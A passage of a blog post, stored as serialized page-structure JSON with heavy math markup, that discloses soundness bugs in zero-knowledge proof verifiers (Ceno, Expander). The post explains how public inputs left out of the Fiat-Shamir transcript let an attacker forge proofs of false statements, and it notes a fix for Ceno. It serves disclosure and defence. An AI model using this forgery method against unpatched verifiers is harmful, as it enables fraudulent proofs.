734],{"type":21,"tag":153,"props":122731,"children":122733},{"className":122732,"style":6782},[6781],[],{"type":21,"tag":153,"props":122735,"children":122737},{"className":122736},[6787,6788,6789,6790],[122738],{"type":21,"tag":153,"props":122739,"children":122741},{"className":122740},[6742,6790],[122742],{"type":26,"value":3033},{"type":21,"tag":153,"props":122744,"children":122746},{"className":122745},[24437],[122747],{"type":26,"value":24440},{"type":21,"tag":153,"props":122749,"children":122751},{"className":122750},[6767],[122752],{"type":21,"tag":153,"props":122753,"children":122755},{"className":122754,"style":95427},[6772],[122756],{"type":21,"tag":153,"props":122757,"children":122758},{},[],{"type":21,"tag":153,"props":122760,"children":122762},{"className":122761},[24431],[122763],{"type":26,"value":2071},{"type":26,"value":355},{"type":21,"tag":22,"props":122766,"children":122767},{},[122768,122770,122923],{"type":26,"value":122769},"We have two unknowns ",{"type":21,"tag":78,"props":122771,"children":122773},{"className":122772},[6715,6716],[122774],{"type":21,"tag":153,"props":122775,"children":122777},{"className":122776},[6721],[122778],{"type":21,"tag":153,"props":122779,"children":122781},{"className":122780,"ariaHidden":3294},[6726],[122782],{"type":21,"tag":153,"props":122783,"children":122785},{"className":122784},[6731],[122786,122790,122795,122852,122857,122861,122918],{"type":21,"tag":153,"props":122787,"children":122789},{"className":122788,"style":6841},[6736],[],{"type":21,"tag":153,"props":122791,"children":122793},{"className":122792},[24409],[122794],{"type":26,"value":189},{"type":21,"tag":153,"props":122796,"children":122798},{"className":122797},[6742],[122799,122804],{"type":21,"tag":153,"props":122800,"children":122802},{"className":122801},[6742,24280],[122803],{"type":26,"value":21972},{"type":21,"tag":153,"props":122805,"children":122807},{"className":122806},[6757],[122808],{"type":21,"tag":153,"props":122809,"children":122811},{"className":122810},[6762,24334],[122812,122841],{"type":21,"tag":153,"props":122813,"children":122815},{"className":122814},[6767],[122816,122836],{"type":21,"tag":153,"props":122817,"children":122819},{"className":122818,"style":95396},[6772],[122820],{"type":21,"tag":153,"props":122821,"children":122822},{"style":95400},[122823,122827],{"type":21,"tag":153,"props":122824,"children":122826},{"className":122825,"style":6782},[6781],[],{"type":21,"tag":153,"props":122828,"children":122830},{"className":122829},[6787,6788,6789,6790],[122831],{"type":21,"tag":153,"props":122832,"children":122834},{"className":122833},[6742,6790],[122835],{"type":26,"value":2996},{"type":21,"tag":153,"props":122837,"children":122839},{"className":122838},[24437],[122840],{"type":26,"value":24440},{"type":21,"tag":153,"props":122842,"children":122844},{"className":122843},[6767],[122845],{"type":21,"tag":153,"props":122846,"children":122848},{"className":122847,"style":95427},[6772],[122849],{"type":21,"tag":153,"props":122850,"children":122851},{},[],{"type":21,"tag":153,"props":122853,"children":122855},{"className":122854},[6852],[122856],{"type":26,"value":6855},{"type":21,"tag":153,"props":122858,"children":122860},{"className":122859,"style":6859},[6820],[],{"type":21,"tag":153,"props":122862,"children":122864},{"className":122863},[6742],[122865,122870],{"type":21,"tag":153,"props":122866,"children":122868},{"className":122867},[6742,24280],[122869],{"type":26,"value":21972},{"type":21,"tag":153,"props":122871,"children":122873},{"className":122872},[6757],[122874],{"type":21,"tag":153,"props":122875,"children":122877},{"className":122876},[6762,24334],[122878,122907],{"type":21,"tag":153,"props":122879,"children":122881},{"className":122880},[6767],[122882,122902],{"type":21,"tag":153,"props":122883,"children":122885},{"className":122884,"style":95396},[6772],[122886],{"type":21,"tag":153,"props":122887,"children":122888},{"style":95400},[122889,122893],{"type":21,"tag":153,"props":122890,"children":122892},{"className":122891,"style":6782},[6781],[],{"type":21,"tag":153,"props":122894,"children":122896},{"className":122895},[6787,6788,6789,6790],[122897],{"type":21,"tag":153,"props":122898,"children":122900},{"className":122899},[6742,6790],[122901],{"type":26,"value":3033},{"type":21,"tag":153,"props":122903,"children":122905},{"className":122904},[24437],[122906],{"type":26,"value":24440},{"type":21,"tag":153,"props":122908,"children":122910},{"className":122909},[6767],[122911],{"type":21,"tag":153,"props":122912,"children":122914},{"className":122913,"style":95427},[6772],[122915],{"type":21,"tag":153,"props":122916,"children":122917},{},[],{"type":21,"tag":153,"props":122919,"children":122921},{"className":122920},[24431],[122922],{"type":26,"value":2071},{"type":26,"value":122924}," and two equations, one linear and one bilinear:",{"type":21,"tag":126,"props":122926,"children":122927},{},[122928,123255],{"type":21,"tag":91,"props":122929,"children":122930},{},[122931,122933],{"type":26,"value":122932},"Linear (from GKR): ",{"type":21,"tag":78,"props":122934,"children":122936},{"className":122935},[6715,6716],[122937],{"type":21,"tag":153,"props":122938,"children":122940},{"className":122939},[6721],[122941],{"type":21,"tag":153,"props":122942,"children":122944},{"className":122943,"ariaHidden":3294},[6726],[122945,123081,123216,123242],{"type":21,"tag":153,"props":122946,"children":122948},{"className":122947},[6731],[122949,122954,123011,123068,123072,123077],{"type":21,"tag":153,"props":122950,"children":122953},{"className":122951,"style":122952},[6736],"height:0.7333em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":122955,"children":122957},{"className":122956},[6742],[122958,122963],{"type":21,"tag":153,"props":122959,"children":122961},{"className":122960},[6742,24280],[122962],{"type":26,"value":29},{"type":21,"tag":153,"props":122964,"children":122966},{"className":122965},[6757],[122967],{"type":21,"tag":153,"props":122968,"children":122970},{"className":122969},[6762,24334],[122971,123000],{"type":21,"tag":153,"props":122972,"children":122974},{"className":122973},[6767],[122975,122995],{"type":21,"tag":153,"props":122976,"children":122978},{"className":122977,"style":95396},[6772],[122979],{"type":21,"tag":153,"props":122980,"children":122981},{"style":95400},[122982,122986],{"type":21,"tag":153,"props":122983,"children":122985},{"className":122984,"style":6782},[6781],[],{"type":21,"tag":153,"props":122987,"children":122989},{"className":122988},[6787,6788,6789,6790],[122990],{"type":21,"tag":153,"props":122991,"children":122993},{"className":122992},[6742,6790],[122994],{"type":26,"value":2996},{"type":21,"tag":153,"props":122996,"children":122998},{"className":122997},[24437],[122999],{"type":26,"value":24440},{"type":21,"tag":153,"props":123001,"children":123003},{"className":123002},[6767],[123004],{"type":21,"tag":153,"props":123005,"children":123007},{"className":123006,"style":95427},[6772],[123008],{"type":21,"tag":153,"props":123009,"children":123010},{},[],{"type":21,"tag":153,"props":123012,"children":123014},{"className":123013},[6742],[123015,123020],{"type":21,"tag":153,"props":123016,"children":123018},{"className":123017},[6742,24280],[123019],{"type":26,"value":21972},{"type":21,"tag":153,"props":123021,"children":123023},{"className":123022},[6757],[123024],{"type":21,"tag":153,"props":123025,"children":123027},{"className":123026},[6762,24334],[123028,123057],{"type":21,"tag":153,"props":123029,"children":123031},{"className":123030},[6767],[123032,123052],{"type":21,"tag":153,"props":123033,"children":123035},{"className":123034,"style":95396},[6772],[123036],{"type":21,"tag":153,"props":123037,"children":123038},{"style":95400},[123039,123043],{"type":21,"tag":153,"props":123040,"children":123042},{"className":123041,"style":6782},[6781],[],{"type":21,"tag":153,"props":123044,"children":123046},{"className":123045},[6787,6788,6789,6790],[123047],{"type":21,"tag":153,"props":123048,"children":123050},{"className":123049},[6742,6790],[123051],{"type":26,"value":2996},{"type":21,"tag":153,"props":123053,"children":123055},{"className":123054},[24437],[123056],{"type":26,"value":24440},{"type":21,"tag":153,"props":123058,"children":123060},{"className":123059},[6767],[123061],{"type":21,"tag":153,"props":123062,"children":123064},{"className":123063,"style":95427},[6772],[123065],{"type":21,"tag":153,"props":123066,"children":123067},{},[],{"type":21,"tag":153,"props":123069,"children":123071},{"className":123070,"style":6821},[6820],[],{"type":21,"tag":153,"props":123073,"children":123075},{"className":123074},[6826],[123076],{"type":26,"value":4099},{"type":21,"tag":153,"props":123078,"children":123080},{"className":123079,"style":6821},[6820],[],{"type":21,"tag":153,"props":123082,"children":123084},{"className":123083},[6731],[123085,123089,123146,123203,123207,123212],{"type":21,"tag":153,"props":123086,"children":123088},{"className":123087,"style":122952},[6736],[],{"type":21,"tag":153,"props":123090,"children":123092},{"className":123091},[6742],[123093,123098],{"type":21,"tag":153,"props":123094,"children":123096},{"className":123095},[6742,24280],[123097],{"type":26,"value":29},{"type":21,"tag":153,"props":123099,"children":123101},{"className":123100},[6757],[123102],{"type":21,"tag":153,"props":123103,"children":123105},{"className":123104},[6762,24334],[123106,123135],{"type":21,"tag":153,"props":123107,"children":123109},{"className":123108},[6767],[123110,123130],{"type":21,"tag":153,"props":123111,"children":123113},{"className":123112,"style":95396},[6772],[123114],{"type":21,"tag":153,"props":123115,"children":123116},{"style":95400},[123117,123121],{"type":21,"tag":153,"props":123118,"children":123120},{"className":123119,"style":6782},[6781],[],{"type":21,"tag":153,"props":123122,"children":123124},{"className":123123},[6787,6788,6789,6790],[123125],{"type":21,"tag":153,"props":123126,"children":123128},{"className":123127},[6742,6790],[123129],{"type":26,"value":3033},{"type":21,"tag":153,"props":123131,"children":123133},{"className":123132},[24437],[123134],{"type":26,"value":24440},{"type":21,"tag":153,"props":123136,"children":123138},{"className":123137},[6767],[123139],{"type":21,"tag":153,"props":123140,"children":123142},{"className":123141,"style":95427},[6772],[123143],{"type":21,"tag":153,"props":123144,"children":123145},{},[],{"type":21,"tag":153,"props":123147,"children":123149},{"className":123148},[6742],[123150,123155],{"type":21,"tag":153,"props":123151,"children":123153},{"className":123152},[6742,24280],[123154],{"type":26,"value":21972},{"type":21,"tag":153,"props":123156,"children":123158},{"className":123157},[6757],[123159],{"type":21,"tag":153,"props":123160,"children":123162},{"className":123161},[6762,24334],[123163,123192],{"type":21,"tag":153,"props":123164,"children":123166},{"className":123165},[6767],[123167,123187],{"type":21,"tag":153,"props":123168,"children":123170},{"className":123169,"style":95396},[6772],[123171],{"type":21,"tag":153,"props":123172,"children":123173},{"style":95400},[123174,123178],{"type":21,"tag":153,"props":123175,"children":123177},{"className":123176,"style":6782},[6781],[],{"type":21,"tag":153,"props":123179,"children":123181},{"className":123180},[6787,6788,6789,6790],[123182],{"type":21,"tag":153,"props":123183,"children":123185},{"className":123184},[6742,6790],[123186],{"type":26,"value":3033},{"type":21,"tag":153,"props":123188,"children":123190},{"className":123189},[24437],[123191],{"type":26,"value":24440},{"type":21,"tag":153,"props":123193,"children":123195},{"className":123194},[6767],[123196],{"type":21,"tag":153,"props":123197,"children":123199},{"className":123198,"style":95427},[6772],[123200],{"type":21,"tag":153,"props":123201,"children":123202},{},[],{"type":21,"tag":153,"props":123204,"children":123206},{"className":123205,"style":6821},[6820],[],{"type":21,"tag":153,"props":123208,"children":123210},{"className":123209},[6826],[123211],{"type":26,"value":4099},{"type":21,"tag":153,"props":123213,"children":123215},{"className":123214,"style":6821},[6820],[],{"type":21,"tag":153,"props":123217,"children":123219},{"className":123218},[6731],[123220,123224,123229,123233,123238],{"type":21,"tag":153,"props":123221,"children":123223},{"className":123222,"style":113185},[6736],[],{"type":21,"tag":153,"props":123225,"children":123227},{"className":123226},[6742,24280],[123228],{"type":26,"value":5896},{"type":21,"tag":153,"props":123230,"children":123232},{"className":123231,"style":6918},[6820],[],{"type":21,"tag":153,"props":123234,"children":123236},{"className":123235},[6923],[123237],{"type":26,"value":2367},{"type":21,"tag":153,"props":123239,"children":123241},{"className":123240,"style":6918},[6820],[],{"type":21,"tag":153,"props":123243,"children":123245},{"className":123244},[6731],[123246,123250],{"type":21,"tag":153,"props":123247,"children":123249},{"className":123248,"style":96375},[6736],[],{"type":21,"tag":153,"props":123251,"children":123253},{"className":123252},[6742],[123254],{"type":26,"value":2996},{"type":21,"tag":91,"props":123256,"children":123257},{},[123258,123260],{"type":26,"value":123259},"Bilinear (from multiset): ",{"type":21,"tag":78,"props":123261,"children":123263},{"className":123262},[6715,6716],[123264],{"type":21,"tag":153,"props":123265,"children":123267},{"className":123266},[6721],[123268],{"type":21,"tag":153,"props":123269,"children":123271},{"className":123270,"ariaHidden":3294},[6726],[123272,123298,123376,123454,123480],{"type":21,"tag":153,"props":123273,"children":123275},{"className":123274},[6731],[123276,123280,123285,123289,123294],{"type":21,"tag":153,"props":123277,"children":123279},{"className":123278,"style":95259},[6736],[],{"type":21,"tag":153,"props":123281,"children":123283},{"className":123282,"style":96773},[6742,24280],[123284],{"type":26,"value":90981},{"type":21,"tag":153,"props":123286,"children":123288},{"className":123287,"style":6821},[6820],[],{"type":21,"tag":153,"props":123290,"children":123292},{"className":123291},[6826],[123293],{"type":26,"value":113606},{"type":21,"tag":153,"props":123295,"children":123297},{"className":123296,"style":6821},[6820],[],{"type":21,"tag":153,"props":123299,"children":123301},{"className":123300},[6731],[123302,123306,123363,123367,123372],{"type":21,"tag":153,"props":123303,"children":123305},{"className":123304,"style":122398},[6736],[],{"type":21,"tag":153,"props":123307,"children":123309},{"className":123308},[6742],[123310,123315],{"type":21,"tag":153,"props":123311,"children":123313},{"className":123312},[6742,24280],[123314],{"type":26,"value":21972},{"type":21,"tag":153,"props":123316,"children":123318},{"className":123317},[6757],[123319],{"type":21,"tag":153,"props":123320,"children":123322},{"className":123321},[6762,24334],[123323,123352],{"type":21,"tag":153,"props":123324,"children":123326},{"className":123325},[6767],[123327,123347],{"type":21,"tag":153,"props":123328,"children":123330},{"className":123329,"style":95396},[6772],[123331],{"type":21,"tag":153,"props":123332,"children":123333},{"style":95400},[123334,123338],{"type":21,"tag":153,"props":123335,"children":123337},{"className":123336,"style":6782},[6781],[],{"type":21,"tag":153,"props":123339,"children":123341},{"className":123340},[6787,6788,6789,6790],[123342],{"type":21,"tag":153,"props":123343,"children":123345},{"className":123344},[6742,6790],[123346],{"type":26,"value":2996},{"type":21,"tag":153,"props":123348,"children":123350},{"className":123349},[24437],[123351],{"type":26,"value":24440},{"type":21,"tag":153,"props":123353,"children":123355},{"className":123354},[6767],[123356],{"type":21,"tag":153,"props":123357,"children":123359},{"className":123358,"style":95427},[6772],[123360],{"type":21,"tag":153,"props":123361,"children":123362},{},[],{"type":21,"tag":153,"props":123364,"children":123366},{"className":123365,"style":6821},[6820],[],{"type":21,"tag":153,"props":123368,"children":123370},{"className":123369},[6826],[123371],{"type":26,"value":113606},{"type":21,"tag":153,"props":123373,"children":123375},{"className":123374,"style":6821},[6820],[],{"type":21,"tag":153,"props":123377,"children":123379},{"className":123378},[6731],[123380,123384,123441,123445,123450],{"type":21,"tag":153,"props":123381,"children":123383},{"className":123382,"style":122952},[6736],[],{"type":21,"tag":153,"props":123385,"children":123387},{"className":123386},[6742],[123388,123393],{"type":21,"tag":153,"props":123389,"children":123391},{"className":123390},[6742,24280],[123392],{"type":26,"value":21972},{"type":21,"tag":153,"props":123394,"children":123396},{"className":123395},[6757],[123397],{"type":21,"tag":153,"props":123398,"children":123400},{"className":123399},[6762,24334],[123401,123430],{"type":21,"tag":153,"props":123402,"children":123404},{"className":123403},[6767],[123405,123425],{"type":21,"tag":153,"props":123406,"children":123408},{"className":123407,"style":95396},[6772],[123409],{"type":21,"tag":153,"props":123410,"children":123411},{"style":95400},[123412,123416],{"type":21,"tag":153,"props":123413,"children":123415},{"className":123414,"style":6782},[6781],[],{"type":21,"tag":153,"props":123417,"children":123419},{"className":123418},[6787,6788,6789,6790],[123420],{"type":21,"tag":153,"props":123421,"children":123423},{"className":123422},[6742,6790],[123424],{"type":26,"value":3033},{"type":21,"tag":153,"props":123426,"children":123428},{"className":123427},[24437],[123429],{"type":26,"value":24440},{"type":21,"tag":153,"props":123431,"children":123433},{"className":123432},[6767],[123434],{"type":21,"tag":153,"props":123435,"children":123437},{"className":123436,"style":95427},[6772],[123438],{"type":21,"tag":153,"props":123439,"children":123440},{},[],{"type":21,"tag":153,"props":123442,"children":123444},{"className":123443,"style":6821},[6820],[],{"type":21,"tag":153,"props":123446,"children":123448},{"className":123447},[6826],[123449],{"type":26,"value":4099},{"type":21,"tag":153,"props":123451,"children":123453},{"className":123452,"style":6821},[6820],[],{"type":21,"tag":153,"props":123455,"children":123457},{"className":123456},[6731],[123458,123462,123467,123471,123476],{"type":21,"tag":153,"props":123459,"children":123461},{"className":123460,"style":95259},[6736],[],{"type":21,"tag":153,"props":123463,"children":123465},{"className":123464},[6742,24280],[123466],{"type":26,"value":72859},{"type":21,"tag":153,"props":123468,"children":123470},{"className":123469,"style":6918},[6820],[],{"type":21,"tag":153,"props":123472,"children":123474},{"className":123473},[6923],[123475],{"type":26,"value":2367},{"type":21,"tag":153,"props":123477,"children":123479},{"className":123478,"style":6918},[6820],[],{"type":21,"tag":153,"props":123481,"children":123483},{"className":123482},[6731],[123484,123488],{"type":21,"tag":153,"props":123485,"children":123487},{"className":123486,"style":96375},[6736],[],{"type":21,"tag":153,"props":123489,"children":123491},{"className":123490},[6742],[123492],{"type":26,"value":2996},{"type":21,"tag":22,"props":123494,"children":123495},{},[123496],{"type":26,"value":123497},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":21,"tag":22,"props":123499,"children":123500},{},[123501,123505,123507,123514,123516,123523],{"type":21,"tag":8055,"props":123502,"children":123503},{},[123504],{"type":26,"value":119054},{"type":26,"value":123506}," Fixed on March 5, 2026 via ",{"type":21,"tag":29,"props":123508,"children":123511},{"href":123509,"rel":123510},"https://github.com/scroll-tech/ceno/pull/1262",[33],[123512],{"type":26,"value":123513},"PR #1262",{"type":26,"value":123515}," (original report: ",{"type":21,"tag":29,"props":123517,"children":123520},{"href":123518,"rel":123519},"https://github.com/scroll-tech/ceno/issues/1125",[33],[123521],{"type":26,"value":123522},"#1125",{"type":26,"value":2071},{"type":21,"tag":21491,"props":123525,"children":123526},{},[],{"type":21,"tag":114,"props":123528,"children":123530},{"id":123529},"expander-polyhedra",[123531],{"type":26,"value":123532},"Expander (Polyhedra)",{"type":21,"tag":22,"props":123534,"children":123535},{},[123536],{"type":26,"value":123537},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":21,"tag":22,"props":123539,"children":123540},{},[123541],{"type":21,"tag":8055,"props":123542,"children":123543},{},[123544],{"type":26,"value":117760},{"type":21,"tag":143,"props":123546,"children":123548},{"code":123547},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[123549],{"type":21,"tag":78,"props":123550,"children":123551},{"__ignoreMap":7},[123552],{"type":26,"value":123547},{"type":21,"tag":22,"props":123554,"children":123555},{},[123556,123558,123564],{"type":26,"value":123557},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":21,"tag":78,"props":123559,"children":123561},{"className":123560},[],[123562],{"type":26,"value":123563},"eval_cst",{"type":26,"value":123565}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":21,"tag":143,"props":123567,"children":123569},{"code":123568,"language":147,"meta":7,"className":145,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[123570],{"type":21,"tag":78,"props":123571,"children":123572},{"__ignoreMap":7},[123573],{"type":21,"tag":153,"props":123574,"children":123575},{"class":155,"line":156},[123576,123580,123585,123590,123594,123598,123602,123606,123611,123615,123620,123625,123629,123634],{"type":21,"tag":153,"props":123577,"children":123578},{"style":192},[123579],{"type":26,"value":78929},{"type":21,"tag":153,"props":123581,"children":123582},{"style":198},[123583],{"type":26,"value":123584}," -=",{"type":21,"tag":153,"props":123586,"children":123587},{"style":214},[123588],{"type":26,"value":123589}," GKRVerifierHelper",{"type":21,"tag":153,"props":123591,"children":123592},{"style":198},[123593],{"type":26,"value":265},{"type":21,"tag":153,"props":123595,"children":123596},{"style":181},[123597],{"type":26,"value":123563},{"type":21,"tag":153,"props":123599,"children":123600},{"style":160},[123601],{"type":26,"value":189},{"type":21,"tag":153,"props":123603,"children":123604},{"style":198},[123605],{"type":26,"value":1974},{"type":21,"tag":153,"props":123607,"children":123608},{"style":192},[123609],{"type":26,"value":123610},"layer",{"type":21,"tag":153,"props":123612,"children":123613},{"style":198},[123614],{"type":26,"value":355},{"type":21,"tag":153,"props":123616,"children":123617},{"style":160},[123618],{"type":26,"value":123619},"const_, ",{"type":21,"tag":153,"props":123621,"children":123622},{"style":192},[123623],{"type":26,"value":123624},"public_input",{"type":21,"tag":153,"props":123626,"children":123627},{"style":160},[123628],{"type":26,"value":1670},{"type":21,"tag":153,"props":123630,"children":123631},{"style":192},[123632],{"type":26,"value":123633},"sp",{"type":21,"tag":153,"props":123635,"children":123636},{"style":160},[123637],{"type":26,"value":530},{"type":21,"tag":22,"props":123639,"children":123640},{},[123641,123643,123648],{"type":26,"value":123642},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":21,"tag":78,"props":123644,"children":123646},{"className":123645},[],[123647],{"type":26,"value":123633},{"type":26,"value":23436},{"type":21,"tag":22,"props":123650,"children":123651},{},[123652],{"type":21,"tag":8055,"props":123653,"children":123654},{},[123655],{"type":26,"value":123656},"The vulnerability:",{"type":21,"tag":22,"props":123658,"children":123659},{},[123660,123665],{"type":21,"tag":78,"props":123661,"children":123663},{"className":123662},[],[123664],{"type":26,"value":123624},{"type":26,"value":123666}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":21,"tag":22,"props":123668,"children":123669},{},[123670],{"type":21,"tag":3644,"props":123671,"children":123674},{"alt":123672,"src":123673},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":21,"tag":22,"props":123676,"children":123677},{},[123678,123679,123684],{"type":26,"value":19311},{"type":21,"tag":78,"props":123680,"children":123682},{"className":123681},[],[123683],{"type":26,"value":123563},{"type":26,"value":123685}," function computes a linear combination:",{"type":21,"tag":22,"props":123687,"children":123688},{},[123689],{"type":21,"tag":78,"props":123690,"children":123692},{"className":123691},[6715,6716],[123693],{"type":21,"tag":153,"props":123694,"children":123696},{"className":123695},[6721],[123697],{"type":21,"tag":153,"props":123698,"children":123700},{"className":123699,"ariaHidden":3294},[6726],[123701,123746,123870],{"type":21,"tag":153,"props":123702,"children":123704},{"className":123703},[6731],[123705,123709,123718,123723,123733,123737,123742],{"type":21,"tag":153,"props":123706,"children":123708},{"className":123707,"style":96757},[6736],[],{"type":21,"tag":153,"props":123710,"children":123712},{"className":123711},[6742,26],[123713],{"type":21,"tag":153,"props":123714,"children":123716},{"className":123715},[6742],[123717],{"type":26,"value":40241},{"type":21,"tag":153,"props":123719,"children":123721},{"className":123720,"style":95344},[6742],[123722],{"type":26,"value":5834},{"type":21,"tag":153,"props":123724,"children":123726},{"className":123725},[6742,26],[123727],{"type":21,"tag":153,"props":123728,"children":123730},{"className":123729},[6742],[123731],{"type":26,"value":123732},"cst",{"type":21,"tag":153,"props":123734,"children":123736},{"className":123735,"style":6918},[6820],[],{"type":21,"tag":153,"props":123738,"children":123740},{"className":123739},[6923],[123741],{"type":26,"value":2367},{"type":21,"tag":153,"props":123743,"children":123745},{"className":123744,"style":6918},[6820],[],{"type":21,"tag":153,"props":123747,"children":123749},{"className":123748},[6731],[123750,123754,123811,123815,123842,123847,123852,123857,123861,123866],{"type":21,"tag":153,"props":123751,"children":123753},{"className":123752,"style":95286},[6736],[],{"type":21,"tag":153,"props":123755,"children":123757},{"className":123756},[24316],[123758,123763],{"type":21,"tag":153,"props":123759,"children":123761},{"className":123760,"style":24323},[24316,24321,24322],[123762],{"type":26,"value":111139},{"type":21,"tag":153,"props":123764,"children":123766},{"className":123765},[6757],[123767],{"type":21,"tag":153,"props":123768,"children":123770},{"className":123769},[6762,24334],[123771,123800],{"type":21,"tag":153,"props":123772,"children":123774},{"className":123773},[6767],[123775,123795],{"type":21,"tag":153,"props":123776,"children":123778},{"className":123777,"style":116551},[6772],[123779],{"type":21,"tag":153,"props":123780,"children":123781},{"style":24347},[123782,123786],{"type":21,"tag":153,"props":123783,"children":123785},{"className":123784,"style":6782},[6781],[],{"type":21,"tag":153,"props":123787,"children":123789},{"className":123788},[6787,6788,6789,6790],[123790],{"type":21,"tag":153,"props":123791,"children":123793},{"className":123792},[6742,24280,6790],[123794],{"type":26,"value":6471},{"type":21,"tag":153,"props":123796,"children":123798},{"className":123797},[24437],[123799],{"type":26,"value":24440},{"type":21,"tag":153,"props":123801,"children":123803},{"className":123802},[6767],[123804],{"type":21,"tag":153,"props":123805,"children":123807},{"className":123806,"style":116831},[6772],[123808],{"type":21,"tag":153,"props":123809,"children":123810},{},[],{"type":21,"tag":153,"props":123812,"children":123814},{"className":123813,"style":6859},[6820],[],{"type":21,"tag":153,"props":123816,"children":123818},{"className":123817},[6742],[123819,123828,123833],{"type":21,"tag":153,"props":123820,"children":123822},{"className":123821},[6742,26],[123823],{"type":21,"tag":153,"props":123824,"children":123826},{"className":123825},[6742],[123827],{"type":26,"value":63968},{"type":21,"tag":153,"props":123829,"children":123831},{"className":123830,"style":95344},[6742],[123832],{"type":26,"value":5834},{"type":21,"tag":153,"props":123834,"children":123836},{"className":123835},[6742,26],[123837],{"type":21,"tag":153,"props":123838,"children":123840},{"className":123839},[6742],[123841],{"type":26,"value":11093},{"type":21,"tag":153,"props":123843,"children":123845},{"className":123844},[24409],[123846],{"type":26,"value":211},{"type":21,"tag":153,"props":123848,"children":123850},{"className":123849},[6742,24280],[123851],{"type":26,"value":6471},{"type":21,"tag":153,"props":123853,"children":123855},{"className":123854},[24431],[123856],{"type":26,"value":350},{"type":21,"tag":153,"props":123858,"children":123860},{"className":123859,"style":6821},[6820],[],{"type":21,"tag":153,"props":123862,"children":123864},{"className":123863},[6826],[123865],{"type":26,"value":113606},{"type":21,"tag":153,"props":123867,"children":123869},{"className":123868,"style":6821},[6820],[],{"type":21,"tag":153,"props":123871,"children":123873},{"className":123872},[6731],[123874,123878,123887,123892,123897,123902,123906,123955],{"type":21,"tag":153,"props":123875,"children":123877},{"className":123876,"style":6841},[6736],[],{"type":21,"tag":153,"props":123879,"children":123881},{"className":123880},[6742,26],[123882],{"type":21,"tag":153,"props":123883,"children":123885},{"className":123884},[6742],[123886],{"type":26,"value":114933},{"type":21,"tag":153,"props":123888,"children":123890},{"className":123889},[24409],[123891],{"type":26,"value":189},{"type":21,"tag":153,"props":123893,"children":123895},{"className":123894},[6742,24280],[123896],{"type":26,"value":6471},{"type":21,"tag":153,"props":123898,"children":123900},{"className":123899},[6852],[123901],{"type":26,"value":6855},{"type":21,"tag":153,"props":123903,"children":123905},{"className":123904,"style":6859},[6820],[],{"type":21,"tag":153,"props":123907,"children":123909},{"className":123908},[6742,114493],[123910],{"type":21,"tag":153,"props":123911,"children":123913},{"className":123912},[6762],[123914],{"type":21,"tag":153,"props":123915,"children":123917},{"className":123916},[6767],[123918],{"type":21,"tag":153,"props":123919,"children":123921},{"className":123920,"style":114579},[6772],[123922,123934],{"type":21,"tag":153,"props":123923,"children":123924},{"style":114510},[123925,123929],{"type":21,"tag":153,"props":123926,"children":123928},{"className":123927,"style":114515},[6781],[],{"type":21,"tag":153,"props":123930,"children":123932},{"className":123931,"style":95344},[6742,24280],[123933],{"type":26,"value":96163},{"type":21,"tag":153,"props":123935,"children":123936},{"style":114510},[123937,123941],{"type":21,"tag":153,"props":123938,"children":123940},{"className":123939,"style":114515},[6781],[],{"type":21,"tag":153,"props":123942,"children":123944},{"className":123943,"style":114603},[114533],[123945],{"type":21,"tag":153,"props":123946,"children":123948},{"className":123947,"style":114609},[114608],[123949],{"type":21,"tag":36967,"props":123950,"children":123951},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[123952],{"type":21,"tag":114621,"props":123953,"children":123954},{"d":114623},[],{"type":21,"tag":153,"props":123956,"children":123958},{"className":123957},[24431],[123959],{"type":26,"value":2071},{"type":21,"tag":22,"props":123961,"children":123962},{},[123963,123964,124033,124035,124040,124042,124047],{"type":26,"value":118180},{"type":21,"tag":78,"props":123965,"children":123967},{"className":123966},[6715,6716],[123968],{"type":21,"tag":153,"props":123969,"children":123971},{"className":123970},[6721],[123972],{"type":21,"tag":153,"props":123973,"children":123975},{"className":123974,"ariaHidden":3294},[6726],[123976],{"type":21,"tag":153,"props":123977,"children":123979},{"className":123978},[6731],[123980,123984],{"type":21,"tag":153,"props":123981,"children":123983},{"className":123982,"style":114579},[6736],[],{"type":21,"tag":153,"props":123985,"children":123987},{"className":123986},[6742,114493],[123988],{"type":21,"tag":153,"props":123989,"children":123991},{"className":123990},[6762],[123992],{"type":21,"tag":153,"props":123993,"children":123995},{"className":123994},[6767],[123996],{"type":21,"tag":153,"props":123997,"children":123999},{"className":123998,"style":114579},[6772],[124000,124012],{"type":21,"tag":153,"props":124001,"children":124002},{"style":114510},[124003,124007],{"type":21,"tag":153,"props":124004,"children":124006},{"className":124005,"style":114515},[6781],[],{"type":21,"tag":153,"props":124008,"children":124010},{"className":124009,"style":95344},[6742,24280],[124011],{"type":26,"value":96163},{"type":21,"tag":153,"props":124013,"children":124014},{"style":114510},[124015,124019],{"type":21,"tag":153,"props":124016,"children":124018},{"className":124017,"style":114515},[6781],[],{"type":21,"tag":153,"props":124020,"children":124022},{"className":124021,"style":114603},[114533],[124023],{"type":21,"tag":153,"props":124024,"children":124026},{"className":124025,"style":114609},[114608],[124027],{"type":21,"tag":36967,"props":124028,"children":124029},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[124030],{"type":21,"tag":114621,"props":124031,"children":124032},{"d":114623},[],{"type":26,"value":124034}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":21,"tag":78,"props":124036,"children":124038},{"className":124037},[],[124039],{"type":26,"value":123624},{"type":26,"value":124041},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":21,"tag":78,"props":124043,"children":124045},{"className":124044},[],[124046],{"type":26,"value":123624},{"type":26,"value":124048}," that makes the verifier's check 